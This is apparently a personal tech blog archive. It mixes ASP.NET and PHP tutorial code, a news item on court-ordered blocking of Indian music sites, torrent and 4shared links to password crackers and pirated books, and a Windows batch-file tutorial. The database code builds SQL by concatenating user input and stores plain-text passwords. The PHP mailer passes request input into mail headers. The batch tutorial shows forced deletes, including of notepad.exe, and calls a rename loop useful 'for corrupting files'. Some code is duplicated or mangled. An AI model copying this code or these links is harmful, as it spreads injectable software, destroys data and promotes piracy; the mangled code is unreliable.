https://1drv.ms/w/s!AuGnVAC2uR23mTeBPVThcpSFlCDj
Tuesday, April 16, 2019
Wednesday, June 22, 2016
File Upload in ASP.Net
protected void Button1_Click(object sender, EventArgs e)
{
//code to Insert into database
string nm = TextBox1.Text.Trim();
string usernm = TextBox2.Text.Trim();
string pass = TextBox3.Text.Trim();
string phone = TextBox4.Text.Trim();
if (FileUpload1.HasFile) {
string name=FileUpload1.PostedFile.FileName;
string ext=System.IO.Path.GetExtension(name);
if(!(ext==".jpg" || ext==".png" || ext == ".bmp")){
Label8.Text="Invalid File Type!! Only Images(jpg,bmp or png) allowed!";
return;
}
else if(FileUpload1.PostedFile.ContentLength > 100000){
Label8.Text="Image too large!! Only Upto 100Kb Allowed!!";
return;
}
string filename = DateTime.Now.ToFileTime() + usernm+ ext;
string ins = "insert into register(username,name,password,phone,image) values('"+usernm+"','"+name+"','"+pass+"','"+phone+"','"+filename+"')";
FileUpload1.SaveAs(Server.MapPath("Images") + "/"+filename);
int i = dbase.insert(ins);
if (i == 1) {
Label8.Text = "Registered successfully!!";
}
else
Label8.Text = "Error while saving!!!!";
}
}
{
//code to Insert into database
string nm = TextBox1.Text.Trim();
string usernm = TextBox2.Text.Trim();
string pass = TextBox3.Text.Trim();
string phone = TextBox4.Text.Trim();
if (FileUpload1.HasFile) {
string name=FileUpload1.PostedFile.FileName;
string ext=System.IO.Path.GetExtension(name);
if(!(ext==".jpg" || ext==".png" || ext == ".bmp")){
Label8.Text="Invalid File Type!! Only Images(jpg,bmp or png) allowed!";
return;
}
else if(FileUpload1.PostedFile.ContentLength > 100000){
Label8.Text="Image too large!! Only Upto 100Kb Allowed!!";
return;
}
string filename = DateTime.Now.ToFileTime() + usernm+ ext;
string ins = "insert into register(username,name,password,phone,image) values('"+usernm+"','"+name+"','"+pass+"','"+phone+"','"+filename+"')";
FileUpload1.SaveAs(Server.MapPath("Images") + "/"+filename);
int i = dbase.insert(ins);
if (i == 1) {
Label8.Text = "Registered successfully!!";
}
else
Label8.Text = "Error while saving!!!!";
}
}
Wednesday, June 15, 2016
DBASE Class
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.SqlClient;
using System.Data;
using System.Configuration;
///
/// Summary description for dbase
///
public class dbaseusing System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Data.SqlClient;
using System.Data;
using System.Configuration;
///
/// Summary description for dbase
///
{
public dbase()
{
//
// TODO: Add constructor logic here
//
}
public static DataSet select(string qu) {
try
{
DataSet ds = new DataSet();
SqlConnection con = new SqlConnection(ConfigurationManager.ConnectionStrings["conn"].ConnectionString);
SqlCommand cmd = new SqlCommand(qu, con);
con.Open();
SqlDataAdapter adp = new SqlDataAdapter(cmd);
adp.Fill(ds);
con.Close();
return ds;
}
catch (Exception exp)
{
return null;
}
}
public static int insert(string qu) {
try
{
SqlConnection con = new SqlConnection(ConfigurationManager.ConnectionStrings["conn"].ConnectionString);
SqlCommand cmd = new SqlCommand(qu, con);
con.Open();
int ans = cmd.ExecuteNonQuery();
con.Close();
return ans;
}
catch (Exception exp) {
return -1;
}
}
}
ASP.Net Edit Course Code
Edit Course Cs:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data;
public partial class admin_EditCourse : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!Page.IsPostBack)
{
if (Request.QueryString["cid"] == null)
{
Response.Redirect("~/admin/ViewCourse.aspx", true);
}
string cid = Request.QueryString["cid"].ToString();
string qu = "select coursename from course where courseid=" + cid;
DataSet ds = dbase.select(qu);
if (ds != null && ds.Tables.Count == 1)
{
TextBox1.Text = ds.Tables[0].Rows[0]["coursename"].ToString();
RequiredFieldValidator1.InitialValue = TextBox1.Text;
}
lblCourseId.Text = cid;
}
}
protected void Button1_Click(object sender, EventArgs e)
{
string up = TextBox1.Text;
string qu = "update course set coursename='"+up+"' where courseid="+lblCourseId.Text;
int i = dbase.insert(qu);
if (i == 1) {
//Successful
ScriptManager.RegisterStartupScript(this, this.GetType(), "js1",
"alert('Saved Successfully!!');window.location='ViewCourse.aspx'", true);
}
else {
//Error unsuccesful
ScriptManager.RegisterStartupScript(this, this.GetType(), "js2",
"alert('Error While Saving. Try Again later');window.location='ViewCourse.aspx'", true);
}
}
protected void Button2_Click(object sender, EventArgs e)
{
Response.Redirect("~/admin/ViewCourse.aspx");
}
}
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data;
public partial class admin_EditCourse : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (!Page.IsPostBack)
{
if (Request.QueryString["cid"] == null)
{
Response.Redirect("~/admin/ViewCourse.aspx", true);
}
string cid = Request.QueryString["cid"].ToString();
string qu = "select coursename from course where courseid=" + cid;
DataSet ds = dbase.select(qu);
if (ds != null && ds.Tables.Count == 1)
{
TextBox1.Text = ds.Tables[0].Rows[0]["coursename"].ToString();
RequiredFieldValidator1.InitialValue = TextBox1.Text;
}
lblCourseId.Text = cid;
}
}
protected void Button1_Click(object sender, EventArgs e)
{
string up = TextBox1.Text;
string qu = "update course set coursename='"+up+"' where courseid="+lblCourseId.Text;
int i = dbase.insert(qu);
if (i == 1) {
//Successful
ScriptManager.RegisterStartupScript(this, this.GetType(), "js1",
"alert('Saved Successfully!!');window.location='ViewCourse.aspx'", true);
}
else {
//Error unsuccesful
ScriptManager.RegisterStartupScript(this, this.GetType(), "js2",
"alert('Error While Saving. Try Again later');window.location='ViewCourse.aspx'", true);
}
}
protected void Button2_Click(object sender, EventArgs e)
{
Response.Redirect("~/admin/ViewCourse.aspx");
}
}
Thursday, June 9, 2016
Sending Attachment through PHP mail function
Sending Attachment using mail() function :
// request variables // important
$from = $_REQUEST["from"];
$emaila = $_REQUEST["emaila"];
$filea = $_REQUEST["filea"];
if ($filea) {
function mail_attachment ($from , $to, $subject, $message, $attachment){
$fileatt = $attachment; // Path to the file
$fileatt_type = "application/octet-stream"; // File Type
$start = strrpos($attachment, '/') == -1 ?
strrpos($attachment, '//') : strrpos($attachment, '/')+1;
$fileatt_name = substr($attachment, $start,
strlen($attachment)); // Filename that will be used for the
file as the attachment
$email_from = $from; // Who the email is from
$subject = "New Attachment Message";
$email_subject = $subject; // The Subject of the email
$email_txt = $message; // Message that the email has in it
$email_to = $to; // Who the email is to
$headers = "From: ".$email_from;
$file = fopen($fileatt,'rb');
$data = fread($file,filesize($fileatt));
fclose($file);
$msg_txt="\n\n You have recieved a new attachment message from $from";
$semi_rand = md5(time());
$mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";
$headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . "
boundary=\"{$mime_boundary}\"";
$email_txt .= $msg_txt;
$email_message .= "This is a multi-part message in MIME format.\n\n" .
"--{$mime_boundary}\n" . "Content-Type:text/html;
charset = \"iso-8859-1\"\n" . "Content-Transfer-Encoding: 7bit\n\n" .
$email_txt . "\n\n";
$data = chunk_split(base64_encode($data));
$email_message .= "--{$mime_boundary}\n" . "Content-Type: {$fileatt_type};\n" .
" name = \"{$fileatt_name}\"\n" . //"Content-Disposition: attachment;\n" .
//" filename = \"{$fileatt_name}\"\n" . "Content-Transfer-Encoding:
base64\n\n" . $data . "\n\n" . "--{$mime_boundary}--\n";
$ok = mail($email_to, $email_subject, $email_message, $headers);
if($ok) {
echo "File Sent Successfully.";
unlink($attachment); // delete a file after attachment sent.
}else {
die("Sorry but the email could not be sent. Please go back and try again!");
}
}
move_uploaded_file($_FILES["filea"]["tmp_name"],
'temp/'.basename($_FILES['filea']['name']));
mail_attachment("$from", "youremailaddress@gmail.com",
"subject", "message", ("temp/".$_FILES["filea"]["name"]));
}
?>
// request variables // important
$from = $_REQUEST["from"];
$emaila = $_REQUEST["emaila"];
$filea = $_REQUEST["filea"];
if ($filea) {
function mail_attachment ($from , $to, $subject, $message, $attachment){
$fileatt = $attachment; // Path to the file
$fileatt_type = "application/octet-stream"; // File Type
$start = strrpos($attachment, '/') == -1 ?
strrpos($attachment, '//') : strrpos($attachment, '/')+1;
$fileatt_name = substr($attachment, $start,
strlen($attachment)); // Filename that will be used for the
file as the attachment
$email_from = $from; // Who the email is from
$subject = "New Attachment Message";
$email_subject = $subject; // The Subject of the email
$email_txt = $message; // Message that the email has in it
$email_to = $to; // Who the email is to
$headers = "From: ".$email_from;
$file = fopen($fileatt,'rb');
$data = fread($file,filesize($fileatt));
fclose($file);
$msg_txt="\n\n You have recieved a new attachment message from $from";
$semi_rand = md5(time());
$mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";
$headers .= "\nMIME-Version: 1.0\n" . "Content-Type: multipart/mixed;\n" . "
boundary=\"{$mime_boundary}\"";
$email_txt .= $msg_txt;
$email_message .= "This is a multi-part message in MIME format.\n\n" .
"--{$mime_boundary}\n" . "Content-Type:text/html;
charset = \"iso-8859-1\"\n" . "Content-Transfer-Encoding: 7bit\n\n" .
$email_txt . "\n\n";
$data = chunk_split(base64_encode($data));
$email_message .= "--{$mime_boundary}\n" . "Content-Type: {$fileatt_type};\n" .
" name = \"{$fileatt_name}\"\n" . //"Content-Disposition: attachment;\n" .
//" filename = \"{$fileatt_name}\"\n" . "Content-Transfer-Encoding:
base64\n\n" . $data . "\n\n" . "--{$mime_boundary}--\n";
$ok = mail($email_to, $email_subject, $email_message, $headers);
if($ok) {
echo "File Sent Successfully.";
unlink($attachment); // delete a file after attachment sent.
}else {
die("Sorry but the email could not be sent. Please go back and try again!");
}
}
move_uploaded_file($_FILES["filea"]["tmp_name"],
'temp/'.basename($_FILES['filea']['name']));
mail_attachment("$from", "youremailaddress@gmail.com",
"subject", "message", ("temp/".$_FILES["filea"]["name"]));
}
?>
Thursday, May 17, 2012
Indian Government Ordered to Block many music sites
The Indian Music Industry (IMI), an industry consortium of 142 music ompanies, has obtained orders from the Calcutta High Court directing all Internet Service Providers (387 ISPs) to block 104 music sites. Court orders were obtained on 27th of January, 6th February, and the 1st and 2nd of March 2012. ISPs have been directed by the court to block all 104 sites within 36 hours. It essentially has the order against Songs.pk as a sample. Apurv Nagpal, CEO of Saregama, told MediaNama that the first order was against songs.pk, and subsequent court orders covered the rest of the sites. The IMI made a case against each website, he added, with proof of piracy of content from labels by each site.
Indian content businesses have increasingly been taking the legal route to combat piracy: T-Series filed lawsuits against several major companies like YouTube (which was later settled), MySpace, Yahoo and Ibibo, and even got the founders of Guruji.com arrested. Reliance BIG Pictures began getting generic “John Doe” orders trying to force filesharing sites to prevent movie uploads, and getting some of them blocked. This is by far the biggest anti-piracy initiative till date.
How They Will Block
The court has asked ISPs to block the sites using any of the three methods:
1. DNS Name blocking: which ISPs use to for looking up IP addresses corresponding to domain names. However, it is possible for filesharing sites to change their domain name: as we reported earlier,like Songs.pk renamed as Songspk.pk
2. IP Address blocking using routers: IP address blocking using routers. However, it is possible for sites to be hosted on alternate servers, once blocked, so this might not entirely address the issue.
3. DPI based URL blocking: “This mechanism involves configuring the ISP’s network management system to monitor traffic by means of Deep Packet Inspection (DPI) and reset or block a customer’s connection to specific Uniform Resource Locators (URLs) as defined in the network management system’s Access Control Lists” DPI-based URL blocking is necessary can be used to block only a portion of a website, for example, “www.example.com/home.html” only, instead of “www.example.com.”
What This Means
The information docket lists each of the 387 ISPs in India, all the 104 music sites, and certain legitimate sites in India, which provide legal options for consumers: Saregama, Nokia Music, Flipkart, Cyworld, 7digital, Gaana*, In, IndiaONE, Meridhun, MyBand, Raaga, Radio One, Saavn, Dhingana, Artist Aloud and Telugu One.
The intent is evident – at one end, IMI is using legal means to stop illegal downloads, and at the other, it is propping up legal businesses. This could act as a fillip for legal sites – perhaps users might choose to stream music over the cloud or buy it online instead of downloading for free. On the other hand, they could find alternate means, through file sharing sites and torrents. Nagpal told that the IMI will go after filesharing sites next, so it appears that the battle against online piracy of Indian music is well and truly on now, and music labels are beginning to take online revenues a lot more seriously.
This might be a consequence of changes in mobile marketing and mobile ringbacktone subscription policies, enforced by the TRAI, which might have impacted mobile revenues.
Here is the list of the sites which IMI wants to block via court orders. Some have been banned and some will be banned:
2. absongs.com
3. apniisp.com
4. apunkabollywood.com
5. bollyextreme.com
6. bollymaza.com
7. bollywood-hits.com
8. bollywoodmp4.com
9. bollywoodstop.com
10. coolgoose.com
11. dacoolsite.com
12. desibajao.net/desihits.net
13. desifunda.net
14. desisong.com
15. dhakdhakradio.com
16. downloadming.com
17. freeindisongs.com
18. funmaza.com
19. gogrumogru.com/songs.ind.in
20. karachimag.com
21. koolfree.com
22. lovepaki.com
23. mastmag.com
24. mobraja.com
25. mp3fundoo.com
26. mp3paradice.com
27. musicduniya.com
28. musiqbuzz.com
29. muskurahat.com
30. netmasty.com
31. pakfellows.com
32. paktimes.com
33. playlist.pk
34. punjabcentral.com
35. radioreloaded.com
36. radiorhythmz.fm
37. radiorocking.com
38. rkmania.com
39. songbox.pk
40. songsinn.com
41. songsnonstop.com
42. songsrack.com
43. songsrip.com
44. songzila.com
45. topupmp3.com
46. town67.com
47. 100india.com
48. musicindiaonline.com
49. aflatune.com
50. bharatlover.com
51. cckerala.com
52. centralmusiq.com
53. chimatamusic.com
54. desimusic.com
55. desishock.net
56. dhool.com
57. dishant.com
58. filmicafe.com
59. filmimusic.com
60. fun1001.com
61. hindimirchi.com
62. sunomusic.com
63. telugufm.com
64. yolike.com
65. andhravilas.com
66. smashits.com
67. songdad.com
68. songslover.net
69. ragalahari.com
70. rameshmusic.com
71. freeplaymp3songdownload.com
72. freefundoo.com
73. desijammers.com
74. thenisai.com
75. mp3feelings.com
76. mazafm.com/hindimirchi.com
77. kjyesudas.com
78. jaanfm.com
79. gr8click.com
80. funscrape.com
81. chirkutonorkut.com
82. tamilmaalai.com
83. tamilkey.info
84. vmusiq.com
85. sevanthi.com
86. tamilwire.com
87. a2ztamilsongs.com
88. mymaza.com
89. germantamilan.com
90. 123music.mobi
91. desiden.mobi
92. longmp3.mobi
93. krazywap.com
94. mobile-zon.com
95. mymp3.mobi
96. samwep.com
97. spicyfm.com
98. wapindia.net
99. wapmaza.mobi
100. waprocks.in
101. mobidreamz.com
102. waptamil.net
103. zinkwap.com
104. songs.pk
Source: Internet
Thursday, December 8, 2011
Sunday, August 28, 2011
File and Directory Permissions in Linux
Permissions in Linux File System:
| Permission | Applied to a Directory | Applied to Any Other Type of File |
|---|---|---|
| read (r) | Grants the capability to read the contents of the directory or subdirectories. | Grants the capability to view the file. |
| write (w) | Grants the capability to create, modify, or remove files or subdirectories. | Grants write permissions, allowing an authorized entity to modify the file, such as by adding text to a text file, or deleting the file. |
| execute (x) | Grants the capability to enter the directory. | Allows the user to “run” the program. |
| - | No permission. | No permission. |
Now if we give ls –l we can see the following output:
$ ls -l /home/ravi
-rwxr-xr-- 1 ravi users 1024 Nov 2 00:10 myfile
drwxr-xr--- 1 ravi users 1024 Nov 2 00:10 mydir
The permissions for each are the second through the tenth characters from the left (remember the first character identifies the file type). The permissions are broken into groups of threes, and each position in the group denotes a specific permission, in this order: read, write, execute. The first three characters (2–4) represent the permissions for the file’s owner (ravi in this example). The second group of three characters
(5–7) consists of the permissions for the group to which the file belongs (users in the example output). The last group of three characters (8–10) represents the permissions for everyone else (“others” in Unix parlance).
The following table elaborates on the permissions shown for myfile in the example ls -l output:
| Characters | Apply to | Definition |
|---|---|---|
| rwx (characters2–4) | The owner (known as user in Unix) of the file. | The owner of the file (ravi) has read (or view), write, and execute permission to the file. |
| r-x (characters 5-7) | The group to which the file belongs, | The users in the owning group (users) can read the file and execute the file if it has executable components commands, and so forth). The group does not have write permission—notice that the - character fills the space of a denied permission. |
| r-- (characters 8–10) | Everyone else (others) | Anyone else with a valid login to the system can only read the file—write and execute permissions are denied (--). |
Using chmod in Symbolic Mode:
The first set of file permissions (characters 2–4 from the ls -l command) is represented with the u, for user; the second set (characters 5–7) is by g, for group; and the last set (characters 8–10) is represented by an o, for everyone else (other). You can also use the -a option to grant or remove permissions from all three groups at once.
The example file, testfile, has original permissions of rwxrwxr- -.
| operator | Meaning | Example | Result |
|---|---|---|---|
| + | Adds the designated permission(s) to a file. | chmod o+wx testfile | Adds write and execute permissions for others or directory. (permission character set 9–10) on testfile. |
| - | Removes the designated permission(s) from a file or directory. | chmod u-x testfile | Removes the file owner’s capability to execute testfile (u = user or owner). |
| = | Sets the designated permission(s) | chmod g=r-x | Sets permissions for the testfile group to read and execute on testfile (no write). |
Here’s how you could combine these commands on a single line:
$ chmod o+wx,u-x,g=r-x testfile
Using chmod with Absolute Permissions
The second way to modify permissions with the chmod command is to use a number to specify each set of permissions for the file. Each permission is assigned a value, as the following table shows, and the total of each set of permissions provides a number for that set.| Number | Octal Permission Representation | Permission Reference |
|---|---|---|
| 0 | No permission | --- |
| 1 | Execute permission | ---x |
| 2 | Write permission | -w- |
| 3 | Execute and write permission: 1 (execute) + 2 (write) = 3 | -wx |
| 4 | Read permission | r-- |
| 5 | Read and execute permission: 4 (read) + 1 (execute) = 5 | r-x |
| 6 | Read and write permission: 4 (read) + 2 (write) = 6 | rw- |
| 7 | All permissions: 4 (read) + 2 (write) + 1 (execute) = 7 | rwx |
Sunday, July 3, 2011
torrent for rar file cracker
For rar file password crack. There are many techniques. One is brute force attack with dictionary.
In this the software has a list of words from 2 lettered word to 4- lettered word and it tries to put every word as password. If you want to crack with this method then u can download any rar file cracker. Jut google "rar file cracker with crack" .
Here is a torrent which provides 9-10 software for rar and zip file cracker. I have not tried them but i guess they will work :
http://thepiratebay.org/torrent/4675258/Zip_and_RAR_password_cracker
just click on download torrent. But for this download the utorrent software first. Google "download utorrent" and link for download will be available for free.
In this the software has a list of words from 2 lettered word to 4- lettered word and it tries to put every word as password. If you want to crack with this method then u can download any rar file cracker. Jut google "rar file cracker with crack" .
Here is a torrent which provides 9-10 software for rar and zip file cracker. I have not tried them but i guess they will work :
http://thepiratebay.org/torrent/4675258/Zip_and_RAR_password_cracker
just click on download torrent. But for this download the utorrent software first. Google "download utorrent" and link for download will be available for free.
Torrent - downloading software from internet..........
One of the most common work on internet is downloading software's. But generally good software are large in size, so it needs longer time and that also continuous.
A solution to that problem, is torrent. A torrent is a technology with which we can download large files(even a complete movie) with it without the need downloading completely in 1 session.
You can download the torrent software, it is very small and free of cost and then download the torrent file of the software you want to download. Then just open the torrent file with that torrent software and it will start downloading in parts whenever you will get online.
Note: There are many websites which provide free torrent of movies and software's. In fact you can also share software and files with torrent. Just Click on make torrent and elect files. It will give you a torrent file for your files. Just share that torrent file and the files will be automatically uploaded to the person whom you will provide the torrent of your file. But for this you also need tracker and seeders. Trackers are provided by websites for free, you just need to search. Seeder are those people who have downloaded your files and can now stay online so that others can also download.
A solution to that problem, is torrent. A torrent is a technology with which we can download large files(even a complete movie) with it without the need downloading completely in 1 session.
You can download the torrent software, it is very small and free of cost and then download the torrent file of the software you want to download. Then just open the torrent file with that torrent software and it will start downloading in parts whenever you will get online.
Note: There are many websites which provide free torrent of movies and software's. In fact you can also share software and files with torrent. Just Click on make torrent and elect files. It will give you a torrent file for your files. Just share that torrent file and the files will be automatically uploaded to the person whom you will provide the torrent of your file. But for this you also need tracker and seeders. Trackers are provided by websites for free, you just need to search. Seeder are those people who have downloaded your files and can now stay online so that others can also download.
Tuesday, May 17, 2011
Some Linux books for students
Here are some more books for you all:



UNIX Network Programming.rar

Have a nice day.
And if you need any other book just comment here.
UNIX Network Programming.rar
Have a nice day.
And if you need any other book just comment here.
Labels:
linux,
networking on Linux,
programing in linux
Saturday, January 29, 2011
How to change icon of a file
You might have sometime changed the icon of a folder in win XP but have u tried to change the icon of a file , say text file?
Here's a way:
GO TO FOLDER OPTIONS --> GO TO FILE TYPES--> THEN SCROLL TO THE FILE TYPE YOU WANT TO CHANGE THE ICON-->GOTO ADVANCED OPTION AND THEN CHANGE ICON AND SELET THE NEW ICON U WANT TO SAVE AN ITS DONE.
Here's a way:
GO TO FOLDER OPTIONS --> GO TO FILE TYPES--> THEN SCROLL TO THE FILE TYPE YOU WANT TO CHANGE THE ICON-->GOTO ADVANCED OPTION AND THEN CHANGE ICON AND SELET THE NEW ICON U WANT TO SAVE AN ITS DONE.
Saturday, October 16, 2010
The Blue Screen Error - critical system error
The Blue Screen Of Death (as its commonly known)is a common error type found in Windows XP. You must have noticed that sometimes while XP is running and suddenly a complete blue screen occurs with heading something like "The system has been halted to Prevent further damage to your system". Its a fatal error and at the middle somewhere you will find error name and its HexaDecimal code like: "0x0000007A:KERNEL_DATA_INPAGE_ERROR". Its just an example there's a hundred of such error codes that the system will show based on the problem with your hardware.
It also show at the bottom that its dumping memory to file.
This is common error which occurs because of hardware and sometimes internal software problems.
Many a times when your RAM is not inserted correctly or some hardware like Hard-disk and others have any problem then this error occurs.
The way to handle these errors are to 1st check whether this error is only once or it occurs again and again.
If it occurs once then it might be some temporary problem may be due voltage fluctuation or file corruption.
But if it occurs again and again then it is something important. Note down the error code which is a hexadecimal number, something like 0x0000002C: And the error name. Then go to google and search for it. Since there are many codes and problems so i cannot state solution for each but on net its available.
Secondly if u can't find a reason or solution for your problem then just open your CPU and assemble it again. All connection again. If its related to DATA and Memory then run chkdsk and other tools.
It also show at the bottom that its dumping memory to file.
This is common error which occurs because of hardware and sometimes internal software problems.
Many a times when your RAM is not inserted correctly or some hardware like Hard-disk and others have any problem then this error occurs.
The way to handle these errors are to 1st check whether this error is only once or it occurs again and again.
If it occurs once then it might be some temporary problem may be due voltage fluctuation or file corruption.
But if it occurs again and again then it is something important. Note down the error code which is a hexadecimal number, something like 0x0000002C: And the error name. Then go to google and search for it. Since there are many codes and problems so i cannot state solution for each but on net its available.
Secondly if u can't find a reason or solution for your problem then just open your CPU and assemble it again. All connection again. If its related to DATA and Memory then run chkdsk and other tools.
Friday, October 1, 2010
Some Books for Dot Net Students.
C # CODES.doc
If U Have any confusion regarding books name or details, then refer below:
http://www.4shared.com/document/D6jJd6CB/0471237523Developing_Visual_St.html
http://www.4shared.com/document/gAOWLrWt/0596001037COM_and_Net_Componen.html
http://www.4shared.com/document/WIWxMhk0/0596003153CSharp_Essentials_2n.html
http://www.4shared.com/document/V8tJk8m9/0672322196Net_e-Business_Archi.html
http://www.4shared.com/document/ch0D9N75/0735618011Applied_XML_Programm.html
http://www.4shared.com/document/aXiqfj4l/Application_Architecture_for_N.html
http://www.4shared.com/document/SawKxmDa/Applied_MicrosoftNET_Framework.html
http://www.4shared.com/document/yE1DjK78/ASPNET_Database_Programming_We.html
http://www.4shared.com/document/y5SoZXxx/ASPNETWEBDEVGUIDE.html
http://www.4shared.com/document/DExxx8za/Building_Secure_ASPNET_Applica.html
http://www.4shared.com/document/E0iGSiSf/Building_XML_Web_Services_for_.html
http://www.4shared.com/document/ab-J_fDA/C__CODES.html
http://www.4shared.com/document/66rd4-KO/Designing_Microsoft_ASPNET_App.html
http://www.4shared.com/document/kaHINYCK/ebay-dropship-profits.html
http://www.4shared.com/document/8ljRL4-d/Enterprise_Solution_Patterns_U.html
http://www.4shared.com/document/9mSQpXEo/Improving_NET_Application_Perf.html
http://www.4shared.com/document/O1CGsnmp/Improving_Web_Application_Secu.html
http://www.4shared.com/document/T1T7Fbts/Introduction_to_Design_Pattern.html
http://www.4shared.com/document/aNdJgRmS/ms_press_-_microsoft_adonet_st.html
http://www.4shared.com/document/iSz-nCZ9/net_dev_journ_-_sept_2k3.html
http://www.4shared.com/document/zhjQbh-Q/NETFrameworkEssentials2ndEditi.html
http://www.4shared.com/document/u6u1Y5ax/Performance_Testing_Microsoft_.html
http://www.4shared.com/document/8485faY7/Quake_II_NET_Port_Whitepaper.html
http://www.4shared.com/document/-yV9qtJU/windows_forms_programming_with.html
Dot.Net Magazin
Wednesday, September 8, 2010
Batch file programming.
Hi Everyone, You all would have heard command prompt if u use windows OS.
Note: All the commands and batch file codes are for educational purpose only.In case of any harm caused on the system, nor the writer nor the publisher will be responsible. Please keep a backup of files before attempting to use these codes.
The batch file is nothing except the series of command to be performed one after the other. Like - Deleting files from the two Temporary folder,cookies,prefetch,etc files can be done in file and that's done by batch files.
Well, they have extensions: .bat(dot bat)
Now,for learning batch file programming you need to know some commands that are necessary to know.
You may try to go for help but that will give you a list of limited commands. Although to get started they are enough. As for good purposes like clearing temp files, deleting some special files, keeping a log file, creating files......
So to get started, lets start with echo command:
1. echo: This is the command used to print information, whether to the console(command prompt) or directed place.
This command will print everything whether u give it any value or not . i.e it will also print the command u had typed in the batch file. So to stop this and enhance the look we always turn off auto echoing by:
@echo off
Now it will print only those things which are passed to echo. Like a batch to delete all text files:
@echo off
echo Deleting text files.........
del /f *.txt
echo Deleted!!
Save this as deleter.bat and run it. Make sure to change the extension of any important text file u have in the folder because /f switch will force it to delete without asking for permission.
2. pause - this single command pauses the operation , prints" Press any key to continue..." and waits for the user to press a key. This is usually important because batch files tend to close as soon as they complete without giving u a chance to read it.
So at last its important to put pause or u will have to run batch file from console rather than just double clicking it.
3.rem - This command is used to save comments for the other batch file reader i.e. used for commenting(as in programming terms). It is also used to save info to config.sys file(No need to bother about this).
4. paths i.e. different variables set as path . Like to go to system drive just type cd /d %windir% and u will be in system directory from any drive. /d is used to change drive with the directory. They are important because not always the system drive will be c: it can be any other depending on systems, so using path variables proves useful since this frees us from the headache of knowing system dive.
to get the full list, just type set at command prompt.
5. Output and Input Redirection:- Generally in all programming languages there are 3 standard streams: standard Input Stream i.e. keyboard,Standard Output Stream i.e. monitor or console and Standard Error stream i.e. where error are displayed.
But often we want to write to file and other places, for this we need to redirect output.
In batch file programming, we can do that with '>' operator(without Quotes). Single > will erase everything and write. Double > i.e. >> will add the text at last of the file.
Eg. you want to store the list of all files and folders(with list of all files within a folder and so on)
you can just type:
dir /s >> new.txt
The /s switch compels dir command to show all files and folder, and all files within the folder, and if any folder then all contents of that folder and so on until the chain gets finished.
Similarly, if u want to copy one files content to another file, instead of using copy command u can do following:
type file1.txt >> file2.txt -- this will copy the contents of text file1 at the end of file2.txt .
We use type command because it shows all the text at once unlike more command which shows page wise and needs pressing enter for other ones.
Echo command can also be used similarly.
Now for redirecting input from other commands we use piping '|'
This redirects the output of 1 command as input of other command. like:
dir /s | more - since this command shows all the directory and its sub directories and its files ... we are only able to read the last few folders, passing it with more will allow u read all the folders.
Note:'|' symbol can be obtained by pressing (shift + \)
The Redirection can also be done to other devices like Printers.
DEVICE NAME USED DEVICE
AUX Auxiliary Device (COM1)
CLOCK$ Real Time Clock
COMn Serial Port(COM1, COM2, COM3,COM4)
CON Console(Keyboard, Screen)
LPTn Parallel Port(LPT1, LPT2, LPT3)
NUL NUL Device(means Nothing)
PRN Printer
Say for example, you want to print the results of directory listings,
then you can simply give the following
command:
c:\windows>dir *.* > prn
Now , nul device literally means nothing. You can direct the output of such commands which just shows work done to prevent it from showing to the user. Like coping command shows the number of file copied. If u don't want to show it or keep it just: copy x.xx y.yy > nul
6. Parameters:
We can also provide batch file, arguments at the run time. Like, passing file names for reading by user at run time.
The Parameters can be obtained by using %number. The arguments are delimited or separated by space.
So 1st parameter can be obtained by: %1
2nd parameter can be obtained by: %2
3rd parameter can be obtained by: %3
.....
9th parameter can be obtained by: %9
And if we need parameters more than 9 then just use 'shift' keyword. This will replace parameters to left by 1 i.e. 2nd parameter will become 1 , 3rd will become 2nd ..... and the 9th is empty.
But the 1st parameter will be lost. So instead of using %2 and %3.
We can use shift each time we use the 1st Parameter.So the 2nd will become 1st and we can again use it.
7. Set command, the variable of batch files-
Set command is used to create environmental variables.
This will enable u to do 2 things:
* Lets u to store any text,command or path address in a variable which can be expanded to the value anytime.
* Lets u store any text or address entered by the user at run-time. Like the choice of user.
Use-age: set variable_name= text,command or path address.
Note for user input from keyboard use switch /P with set command and the message to display after the equals sign.
Like:
@echo off
echo Welcome to deleter or hider.
echo type d for deleting and h for hiding.
set /P ch=Enter Choice:
if %ch%==d goto deleter
if %ch%==h goto hide
:deleter
echo enter file name with extensions to delete
set /P file=name:
del /f %file% >> echo
goto end
:hide
echo enter file name with extension to hide
set /P file=name:
attrib +h +s +r %file% >> echo
:end
pause
Here the text Enter Choice: and name: will be shown and user will be asked to enter the text.
goto command takes the cmd to the label pointed by the goto. And we can create labels by putting a colon before Label name. Like :label_name
The switch /A lets u put an expression on the right hand side of variable. I.e. the value of variable will be value of expression.
8.for command:
This command lets u run any command for a number of times or for a number of files. Just like looping.
Syntax: for %variable in(sets of files like *.txt for all text files and address for other folders may also be give here) Do command to be executed for each file
Here %variable means declaring any variable name like %i or %l ..
And for each loop %%i will contain the 1 file name among the set specified in the bracket.
For Eg, to rename all the .txt file to .virus just type:
for %%i in ( *.txt) do ren *.txt *.vir
Although here for command was not exactly needed because directly ' ren *.txt *.vir ' would have renamed all but changing contents of dll files or rather say for corrupting files this can prove useful.
9.If command:
This command is used to do comparisons or checking of parameters and user inputs and work accordingly. Moreover it can also check whether a file exists or not and also checking of variables or strings.
For File checking: if EXIST file_name command_to_perform_if_true
like if EXIST c:\windows\notepad.exe Echo Notepad exists.
This command will print Notepad Exists if notepad is in directory windows.
Note: this command cannot be used for directories. I will search for directories, but now work only on files.
We can also use else with if but else has to be in the same line. And some commands need new lines at the end to work, like del command. So better use () brackets and write commands in bracket like:
if exist C:\windows\notepad.exe (del /f notepad.exe) else (echo notepad doesn't exists)
For parameter checking:
if %1==c goto cdrive
if %1==d goto ddrive
:cdrive
copy %2 c:
exit
:ddrive
copy %2 d:
We can also check if parameters are passed by: if %1=="" echo No Parameter bro
Similarly u can check any thing u want just keep sure u use double equals sign.
For both the usage of if we can also use the NOT clause as:
if not exist c:\test echo test not created yet
10. Choice command:
